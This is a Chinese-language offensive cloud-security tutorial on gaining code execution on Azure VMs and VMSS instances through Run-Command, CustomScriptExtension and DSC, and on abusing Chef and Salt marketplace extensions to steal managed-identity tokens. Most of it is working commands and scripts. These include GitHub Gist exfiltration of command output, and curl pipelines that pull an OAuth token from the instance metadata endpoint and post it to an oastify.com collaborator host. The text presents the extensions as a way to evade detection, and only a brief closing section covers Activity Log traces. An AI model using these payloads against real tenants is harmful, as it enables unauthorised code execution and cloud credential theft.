云上攻防之 Azure VM/VMSS 代码执行梳理+第三方扩展拿 access_token
前言 本文是对云上攻防场景下的 Azure VM 和 VMSS 进行探究,梳理常见的代码执行方式,以及对此方式进行延伸,借助 Azure 商店中由外部厂方发布三方拓展拿 access token ,这些手法均是为了在环境中建立立足点。 Azure Virtual Machines(Azure VM),相当于本地 VMware / Hyper-V 里的虚拟机 Azure 虚拟机规模集(Virtual…
前言
本文是对云上攻防场景下的 Azure VM 和 VMSS 进行探究,梳理常见的代码执行方式,以及对此方式进行延伸,借助 Azure 商店中由外部厂方发布三方拓展拿 access token ,这些手法均是为了在环境中建立立足点。
Azure Virtual Machines(Azure VM),相当于本地 VMware / Hyper-V 里的虚拟机
Azure 虚拟机规模集(Virtual Machines Scale Sets,简称 VMSS)是 Azure 上用来批量管理一组配置相同的虚拟机的计算服务,Azure 会据定义的配置创建任意数量的相同实例,并让这些实例数量随负载自动增减。
Azure VM 执行代码常见方式
Run-Command
这是常见的方法,也可在 Azure 门户中调用
Azure CLI
> az vm run-command invoke -g BAS -n BAS-Windows --command-id RunPowerShellScript --scripts "whoami"

Azure Powershell
> Invoke-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -CommandId 'RunPowerShellScript' -ScriptString "whoami"

REST API
> Invoke-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -CommandId 'RunPowerShellScript' -ScriptString "whoami"

Run-Command Object
先创建一个 Run-Command 对象,记录这次的执行,在读取这个对象时带上 Expansion 参数拿回结果。
Azure CLI
第一步 create 建资源
> az vm run-command create --resource-group "BAS" --location "East US" --vm-name "BAS-Windows" --run-command-name "BASExample" --script "whoami"

第二步 show --expand instanceView 取结果
> az vm run-command show --resource-group "BAS" --vm-name "BAS-Windows" --run-command-name "BASExample" --expand instanceView

Azure Powershell
> Set-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -RunCommandName 'BASCommand' -Location "East US" -SourceScript "whoami"
$Result = Get-AzVMRunCommand -ResourceGroupName 'BAS' -VMName 'BAS-Windows' -RunCommandName 'BASCommand' -Expand InstanceView
$Result.InstanceView

REST API
$subscriptionId = "12345678-1234-1234-1234-123456789abc"
$resourceGroup = "BAS"
$vmName = "BAS-Windows"
$apiVersion = "2024-11-01"
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Compute/virtualMachines/$vmName/runCommand?api-version=$apiVersion"
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
$body = @{
location = "East US"
properties = @{
source = @{
script = "whoami"
}
}
}
$response = Invoke-RestMethod -Method POST -Uri $uri -Headers $headers -Body $body
$runCommandName = "myRunCommand"
$uri = "https://management.azure.com/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Compute/virtualMachines/$vmName/runCommands/$runCommandName`?api-version=$apiVersion"
$headers = @{ "Authorization" = "Bearer $token" }
$response = Invoke-RestMethod -Method GET -Uri $uri -Headers $headers
$response | ConvertTo-Json -Depth 10

CustomScriptExtension
本质上做的操作是下载脚本并执行,利用的是正常功能机制,有权向 VM 下发扩展,就能在上面运行任意内容。
Azure CLI
> az vm extension set --vm-name "BAS-Windows" --resource-group "BAS" --name CustomScriptExtension --publisher Microsoft.Compute --settings '{"commandToExecute":"powershell -ExecutionPolicy Unrestricted -file ScriptExtension.ps1"}' --protected-settings '{"fileUris":["https://<BLOB>.core.windows.net/extension/ScriptExtension.ps1"]}' --version 1.4

> az vm extension show --resource-group "BAS" --vm-name "BAS-Windows" --name "CustomScriptExtension" --instance-view

Azure Powershell
> $null = Set-AzVMCustomScriptExtension -ResourceGroupName "BAS" -VMName "BAS-Windows" -Location "East US" -FileUri "<BLOBURL>" -Run "ScriptExtension" -Argument " " -Name "ScriptExtension.ps1"
> $Results = Get-AzVMCustomScriptExtension -ResourceGroupName “BAS” -VMName “BAS-Windows” -name "ScriptExtension.ps1" -Status
> $Results.SubStatuses

REST API
$SubscriptionID = "12345678-1234-1234-1234-123456789abc"
$ResourceGroupName = "BAS”
$VMName = " BAS-Windows"
$Location = "East US"
$uri = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Compute/virtualMachines/$VMName/extensions/ScriptExtension.ps1?api-version=2024-11-01"
$headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json" }
$body = @{
properties = @{
publisher = "Microsoft.Compute"
type = "CustomScriptExtension"
typeHandlerVersion = "1.4"
autoUpgradeMinorVersion = $true
settings = @{
commandToExecute = "powershell -ExecutionPolicy Unrestricted -file ScriptExtension.ps1" }
protectedSettings = @{
fileUris = @( "https://<SITE>.blob.core.windows.net/<container>/<script>.ps1" ) } } location = $Location } | ConvertTo-Json -Depth 10
$response = Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -Body $body
$response
DSC
DSC 得打个 zip 包,里面要有 dscmetadata.json,还要有一份格式合规的 PowerShell 内容,其中包含一个 configuration 对象。它实际上是将一项配置声明交给系统,由系统据此达到目标状态,并非简单地执行一段代码,因此构造起来要求更多。
拿命令执行后的结果,在目标 VM 上,要么利用别的代码执行方式去取出,要么就让ps1脚本自己外带(如发送到GitHub Gist API)
BASDSC.ps1
[DscLocalConfigurationManager()]
Configuration DscMetaConfigs
{
Node localhost
{
Settings
{
RefreshFrequencyMins = 30
RefreshMode = 'PUSH'
ConfigurationMode = 'ApplyAndAutoCorrect'
AllowModuleOverwrite = $False
RebootNodeIfNeeded = $False
ActionAfterReboot = 'ContinueConfiguration'
ConfigurationModeFrequencyMins = 15
}
}
}
DscMetaConfigs -Output .\output\
Set-DscLocalConfigurationManager -Path .\output\
configuration BASDSC
{
Import-DscResource -ModuleName 'PSDesiredStateConfiguration'
Node localhost
{
Script ScriptExample
{
SetScript = {
$cmd = $(whoami)
$body = @{
description = "NetSPI BAS"
public = $false
files = @{
"Return" = @{content = $cmd}
}
}
iwr -Uri "https://api.github.com/gists" -Method Post -Headers @{
"Accept" = "application/vnd.github+json"
"Authorization" = "Bearer XXXX"
"X-GitHub-Api-Version" = "2022-11-28"
} -Body ($body | ConvertTo-Json) -UseBasicParsing
}
TestScript = {
return $false
}
GetScript = { return @{result = 'result'} }
}
}
}
Azure CLI
> az vm extension set --resource-group "BAS" --vm-name "BAS-Windows" --name "DSC" --publisher "Microsoft.Powershell" --version 2.83.5 --settings '{"ModulesUrl": "https://<StorageAccount>.blob.core.windows.net/dsc/BASDSC.ps1.zip", "ConfigurationFunction": "BASDSC.ps1\\BASDSC", "Privacy": {"DataCollection": "Disable"}}' --protected-settings '{"DataBlobUri": "", "Items": {}}'

Azure Powershell
> Publish-AzVMDscConfiguration -ConfigurationPath BASDSCExtension.ps1 -ResourceGroupName $ResourceGroupName -StorageAccountName $StorageAccountName
> Set-AzVMDscExtension -ResourceGroupName $resourceGroupName -VMName $VMName -ArchiveStorageAccountName $StorageAccountName -ArchiveContainerName $ContainerName -ArchiveBlobName $BlobFile -ConfigurationName $ConfigurationName -Location $Location -Version "2.83"

REST API
$SubscriptionID = "12345678-1234-1234-1234-123456789abc"
$ResourceGroupName = "BAS”
$VMName = " BAS-Windows"
$Location = "East US"
$uri = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Compute/virtualMachines/$VMName/extensions/Microsoft.Powershell.DSC?api-version=2024-11-01"
$headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json" }
$body = @{
properties = @{
publisher = "Microsoft.Powershell"
type = "DSC"
typeHandlerVersion = "2.83"
autoUpgradeMinorVersion = $false
settings = @{ SasToken = $SasToken
ModulesUrl="https://<>.blob.core.windows.net/dsc/BASDSC.ps1.zip"
ConfigurationFunction = "BASDSC.ps1\BASDSC"
Properties = @()
Privacy = @{ DataCollection = $null } }
protectedSettings = @{ Items = @{} } } location = $Location } | ConvertTo-Json -Depth 10
$response = Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -Body $body
$response
VMSS 执行代码常见方式
Run-Command
需指定实例 ID,函数 win 的对应 RunPowerShellScript,linux 对应 RunShellScript
Azure CLI
> az vmss run-command invoke -g BAS -n BAS-WindowsVMSS –-instance-id 0 --command-id RunPowerShellScript --scripts "whoami"

Azure Powershell
> Invoke-AzVMSSVMRunCommand -ResourceGroupName 'BAS' -VMScaleSetName 'BAS-WindowsVMSS' -InstanceID 0 -CommandId 'RunPowerShellScript' -ScriptString "whoami"

REST API
$SubscriptionID = "12345678-1234-1234-1234-123456789abc"
$ResourceGroupName = "BAS”
$VMName = " BAS-Windows"
$Location = "East US"
$uri = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Compute/virtualMachineScaleSets/$VMSSName/virtualmachines/$InstanceID/runCommand?api-version=2024-11-01"
$headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
$body = @{
commandId = "RunPowerShellScript"
script = @("whoami")
} | ConvertTo-Json -Depth 10
$response = Invoke-RestMethod -Uri $uri -Method Post -Headers $headers -Body $body
$response
Run-Command Object
需指定实例 ID
Azure CLI
> az vmss run-command create --resource-group "BAS" --location "East US" --vmss-name "BAS-WindowsVMSS" --instance-id 0 --run-command-name "BASExample" --script "whoami"

> az vmss run-command show --resource-group "BAS" --vmss-name "BAS-WindowsVMSS" --instance-id 0 --run-command-name "BASExample" --expand instanceView

Azure Powershell
> $null = Set-AzVmssVMRunCommand -ResourceGroupName "BAS" -vmScaleSetName "BAS-WindowsVMSS" -InstanceId 0 -RunCommandName "BASExample" -location "EAST US" -SourceScript "whoami"
> $Result = Get-AzVmssVMRunCommand -ResourceGroupName "BAS" -vmScaleSetName "BAS-WindowsVMSS" -InstanceId 0 -RunCommandName "BASExample" -Expand InstanceView
> $Result.InstanceView

REST API
$SubscriptionID = "12345678-1234-1234-1234-123456789abc"
$ResourceGroupName = "BAS”
$VMName = " BAS-Windows"
$Location = "East US"
$RunCommandName = "BASExample"
$uri = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Compute/virtualMachineScaleSets/$VMSSName/virtualMachines/$InstanceID/runCommands/$RunCommandName?api-version=2023-07-01"
$headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
# Define the body
$body = @{
location = $Location
properties = @{
source = @{
script = "whoami"
}
}
} | ConvertTo-Json -Depth 10
$response = Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -Body $body
$response
CustomScriptExtension
ScriptExtensionGist.ps1
$cmd = $(whoami)
$body = @{
description = "NetSPI BAS"
public = $false
files = @{
"Return" = @{content = $cmd}
}
}
iwr -Uri "https://api.github.com/gists" -Method Post -Headers @{
"Accept" = "application/vnd.github+json"
"Authorization" = "Bearer <Github PAT>"
"X-GitHub-Api-Version" = "2022-11-28"
} -Body ($body | ConvertTo-Json) -UseBasicParsing
Azure CLI
az vmss extension set --name "BASCLIExtension" --vmss-name "BAS-WindowsVMSS" --resource-group "BAS" --name CustomScriptExtension --publisher Microsoft.Compute --settings '{"commandToExecute":"powershell -ExecutionPolicy Unrestricted -file ScriptExtensionGist.ps1"}' --protected-settings '{"fileUris":["https://<>core.windows.net/extension/ScriptExtensionGist.ps1"]}' --version 1.4
Azure Powershell
> $extensionSettings = @{"fileUris"=@("https://<>.blob.core.windows.net/extension/ScriptExtensionGist.ps1"); "commandToExecute"="powershell.exe -file ScriptExtensionGist.ps1"}
> $azVmScaleSet = Get-AzVMSS -VMScaleSetName "BAS-WindowsVMSS"
> Add-AzVMSSExtension -virtualMachineScaleSet $azVmScaleSet -Name "basextension" -setting $extensionSettings -type "CustomScriptExtension" -typehandlerversion 1.9 -Publisher "Microsoft.Compute" -AutoUpgradeMinorVersion $true -ErrorAction Stop
> Update-AzVMSS -resourceGroupName "BAS" -name "BAS-WindowsVMSS" -virtualMachineScaleSet $azVmScaleSet -upgradepolicymode automatic -ErrorAction Stop
REST API
$SubscriptionID = "12345678-1234-1234-1234-123456789abc"
$ResourceGroupName = "BAS”
$VMName = " BAS-Windows"
$Location = "East US"
$uri = "https://management.azure.com/subscriptions/$SubscriptionID/resourceGroups/$ResourceGroupName/providers/Microsoft.Compute/virtualMachineScaleSets/$VMSSName?api-version=2024-11-01"
$headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
# Define the body
$body = @{
sku = @{
name = "Standard_D2s_v3"
tier = "Standard"
capacity = 2
}
properties = @{
upgradePolicy = @{
mode = "Automatic"
}
virtualMachineProfile = @{
extensionProfile = @{
extensions = @(
@{
name = "basextension"
properties = @{
publisher = "Microsoft.Compute"
type = "CustomScriptExtension"
typeHandlerVersion = "1.9"
autoUpgradeMinorVersion = $true
settings = @{
fileUris = @(
"https://<>.blob.core.windows.net/extension/ScriptExtensionGist.ps1"
)
commandToExecute = "powershell.exe -file ScriptExtensionGist.ps1"
}
provisionAfterExtensions = @()
}
}
)
}
licenseType = "Windows_Client"
}
orchestrationMode = "Uniform"
}
} | ConvertTo-Json -Depth 10
$response = Invoke-RestMethod -Uri $uri -Method Put -Headers $headers -Body $body
$response
四种方式对比
手法 | 执行通道 | 是否留下持久资源 | 结果获取方式 | 主要限制 |
|---|---|---|---|---|
Run-Command invoke | VM/VMSS Guest Agent | 否 | 同步返回 stdout | 输出有长度上限、有超时 |
Run-Command Object | 同上,但在 ARM 中创建了 | 是(可 show / delete) |
| 同上,需额外管理生命周期 |
CustomScriptExtension | VM 扩展,下载 blob 后执行 | 是(扩展记录) |
| 脚本必须放在 VM 能访问的存储上 |
DSC | VM 扩展 + 配置声明 | 是(扩展 + LCM 配置) | 无直接回传通道,需脚本自行外带 | 需要 zip 打包、 |
用第三方拓展拿 access token
前面常规方式实现代码执行易被检测,不易被检测的方式是利用Azure 应用商店的第三方扩展。
前提是有权限:Microsoft.Compute/virtualMachines/extensions/write
示例拓展:chef
Chef 是一款配置管理工具,可自动完成 Azure 虚拟机上 Chef 客户端的安装注册和初始配置。它可在 Azure 应用商店中找到。
1、在 Chef官网拿试用许可证,部署服务器:chef-zero
gem install chef-zero
chef-zero --host 0.0.0.0 --port 443
2、创建恶意的代码包 cookbook
一个 cookbook 就是一个目录,是被执行的代码包,chef-zero 是让目录能被拉取的那台假服务器。

攻击机上创建payload default.rb
mkdir -p cookbooks/mycb/recipes
cat > cookbooks/mycb/recipes/default.rb << 'EOF'
execute 'payload' do
command 'curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | curl -s -X POST -H "Content-Type: application/json" -d @- https://ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com'
action :run
end
EOF
创建 metadata.rb
cat > ./cookbooks/netspi/metadata.rb << 'EOF'
name 'netspi'
maintainer 'netspi'
maintainer_email 'netspi@example.com'
license 'all_rights_reserved'
description 'Test cookbook'
version '0.0.0'
EOF
3、cookbook 上传到服务器 chef-zero
# 私钥签名
openssl genrsa -out ./dummy.pem 2048
# 安装 knife
curl -L https://omnitruck.chef.io/install.sh | sudo bash -s -- -P chef-workstation
# knife 命令上传
knife cookbook upload netspi \
--server-url http://<your-ip>:443 \
--key ./dummy.pem \
--user admin \
--cookbook-path ./cookbooks
4、执行 cookbook
把之前创建的私钥放进 json,这里命名为protected.json
python3 -c "
import json
with open('dummy.pem') as f:
key = f.read()
print(json.dumps({'validation_key': key}))
" > protected.json
如果目标为win
az vm extension set \
--resource-group <rg-name> \
--vm-name <vm-name> \
--name ChefClient \
--publisher Chef.Bootstrap.WindowsAzure \
--version 1210.13 \
--settings '{
"bootstrap_options": {
"chef_server_url": "http://<your-ip>:443",
"validation_client_name": "chef-validator"
},
"CHEF_LICENSE": "accept-no-persist",
"runlist": "recipe[netspi::default]",
"chef_node_name": "azvm"
}' \
--protected-settings protected.json
如果目标为linux
az vm extension set \
--resource-group <your-rg> \
--vm-name <your-vm> \
--name LinuxChefClient \
--publisher Chef.Bootstrap.WindowsAzure \
--version 1210.13 \
--settings '{
"bootstrap_options": {
"chef_server_url": "http://<your-ip>:443",
"validation_client_name": "chef-validator"
},
"CHEF_LICENSE": "accept-no-persist",
"runlist": "recipe[netspi::default]",
"chef_node_name": "azvm"
}' \
--protected-settings protected.json
5、burp Collaborator 的界面里看到成功拿到 access token 等信息

示例拓展 Salt Minion
Chef 传的是 cookbook 目录,Salt 传的是 master 目录下的一个 YAML 文件
1、搭建 Salt server,并运行 salt-master 服务(默认会监听 4505/4506)
sudo apt install curl xz-utils jq tar
curl -o quick.sh -L https://raw.githubusercontent.com/saltstack/salt-bootstrap/develop/salt-quick-start.sh
salt-master -d
2、创建 .sls 文件
sudo mkdir -p /srv/salt
sudo tee /srv/salt/netspi.sls << 'EOF'
run_payload:
cmd.run:
- name: 'curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | curl -s -X POST -H "Content-Type: application/json" -d @- https://xxxxxxxxxxxxxx.oastify.com'
EOF
3、执行 Salt 扩展。
目标 VM 一旦装上扩展并启动 minion,就已经主动向你的 IP 发起了 4505/4506 的出站连接
1)如果目标为win
az vm extension set --name salt-minion.linux --publisher turtletraction.oss --version 1.1.0.0 --settings '{"master_address":"<your-ip>","minion_id":"azvm"}'
2)如果目标为 linux
az vm extension set \
--resource-group <rg-name> \
--vm-name <vm-name> \
--name salt-minion.linux \
--publisher turtletraction.oss \
--version 1.1.0.0 \
--settings "{
\"master_address\": \"<your-ip>\",
\"minion_id\": \"azvm\"
}"
{
"autoUpgradeMinorVersion": true,
"id": "/subscriptions/<subscription>/resourceGroups/<rg-name>/providers/Microsoft.Compute/virtualMachines/<vm-name>/extensions/salt-minion.linux",
"location": "eastus",
"name": "salt-minion.linux",
"provisioningState": "Succeeded",
"publisher": "turtletraction.oss",
"resourceGroup": "<rg-name>",
"settings": {
"master_address": "<your-ip>",
"minion_id": "azvm"
},
"type": "Microsoft.Compute/virtualMachines/extensions",
"typeHandlerVersion": "1.1",
"typePropertiesType": "salt-minion.linux"
}
执行过程中目标 minion 启动后会主动发公钥连过来,此时它处于 Unaccepted 状态,得在服务器上接受
salt-key -a azvm
4、推送成功
$ salt 'azvm' state.apply netspi

5、burp Collaborator 的界面里看到成功拿到 access token 等信息

Azure Activity Log 的日志记录
1、 runCommand、扩展写入这些操作都会留事件


做代码执行,实际上会在 Activity Log 里看到对应的这些 operation name
手法 | Operation |
|---|---|
Run-Command invoke |
|
Run-Command Object |
|
CustomScriptExtension |
|
VMSS Run-Command |
|
参考
Run scripts in a Windows or Linux VM in Azure with Run Command - Azure Virtual Machines | Microsoft Learn
Azure Custom Script Extension for Windows - Azure Virtual Machines | Microsoft Learn
Desired State Configuration for Azure overview - Azure Virtual Machines | Microsoft Learn
Chef extension for Azure VMs - Azure Virtual Machines | Microsoft Learn
Use managed identities on a virtual machine to acquire access token - Managed identities for Azure resources | Microsoft Learn